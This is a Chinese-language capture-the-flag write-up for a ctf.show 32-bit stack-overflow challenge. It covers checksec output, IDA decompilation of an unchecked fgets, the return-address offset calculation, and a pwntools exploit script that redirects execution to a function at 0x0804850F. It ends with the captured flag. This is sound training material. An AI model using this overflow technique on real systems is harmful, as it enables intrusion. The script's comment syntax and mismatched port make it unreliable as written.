题目给了一个链接和端口 pwn.challenge.ctf.show 28183,可以nc看一下
题目给的链接和端口的其实是用来放进我们编写的exp脚本的
还给了一个附件 stack
下载好后拖进kali使用file和checksec命令检查一下
发现是一个32位的程序
No canary found 表示没有金丝雀保护,能栈溢出;
NX enabled 表示不可执行,Linux的文件有三种属性,即 rwx,NX即表示没有x属性;
No PIE 表示未开启地址空间布局随机化。
我们将程序在IDA里面打开
找到main函数,使用快捷键F5进行反编译,得到伪代码
setvbuf()函数是对文件进行操作,在内存区建立一个缓存区用于与磁盘交换数据;
stdout是屏幕输出设备,stdin是键盘输入设备,自启并清空缓存区,方便及时输入输出;
puts()函数这里用于输出字符串;
这里有一个pwnme()函数,我们双击跟进查看它的定义
发现有一个数组s,它只有9个字节大小;
fgets() 函数有三个参数,这里表示从 stdin 中读取50个字符存储到数组 s ,这就会造成栈溢出!
可能造成栈溢出的函数还有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy
对于栈溢出的利用,我们需要找两个东西:
首先是找我们需要利用的函数所在地址,这道题利用的是stack这个函数
地址为0804850F
我们利用栈溢出让返回的地址变为我们需要利用的函数的地址
其次我们还需要找造成栈溢出的函数的地址到ebp的距离
前面我们说了,这里造成栈溢出的函数是pwnme函数
最后我们根据程序是32位还是64位,对应加上4或8个字节的ebp(栈底)即可
最终我们在s处填入9+4=13个字节
编写exp脚本:
from pwn import * //导入了pwntools库
#p = process("./stack")
p = remote("pwn.challenge.ctf.show",28196) //创建一个远程连接,将程序与指定的主机和端口建立起联系
p.recv() //接收并丢弃来自远程连接的数据
#p.recvuntil('32bits\n') //直到接收到"32bits\n"
payload = b"A"*(0x9+4) + p32(0x0804850F) //payload由一串"A"字符组成,长度为13个字节(0x9+4),通过调用p32()函数,将地址0x0804850F转换为Little Endian格式的4字节序列,并将其附加到payload末尾
p.send(payload) //将构造好的payload发送到远程连接的目标端点
p.interactive() //启动交互式会话,允许用户在本地终端与远程连接进行交互
使用python3 执行脚本
执行命令,拿到flag
ctfshow{fa60556d-cefa-434b-9fdf-e7d8f9235ae1}
这个题要想从本质上去理清楚,还是得看懂下图右侧的代码,了解常用的函数作用,并且根据代码画出栈的整个变换过程,每个函数都有一个自己的栈,main函数的栈进行变化后最终会被还原的,也算是对栈的一个保护。
真的不太好理解,栈底在高地址,栈顶在低地址,入栈的时候是从下往上压入,但是对于已经存在的东西比如这道题的数组s,又是从上往下存,或者说是改变它的值。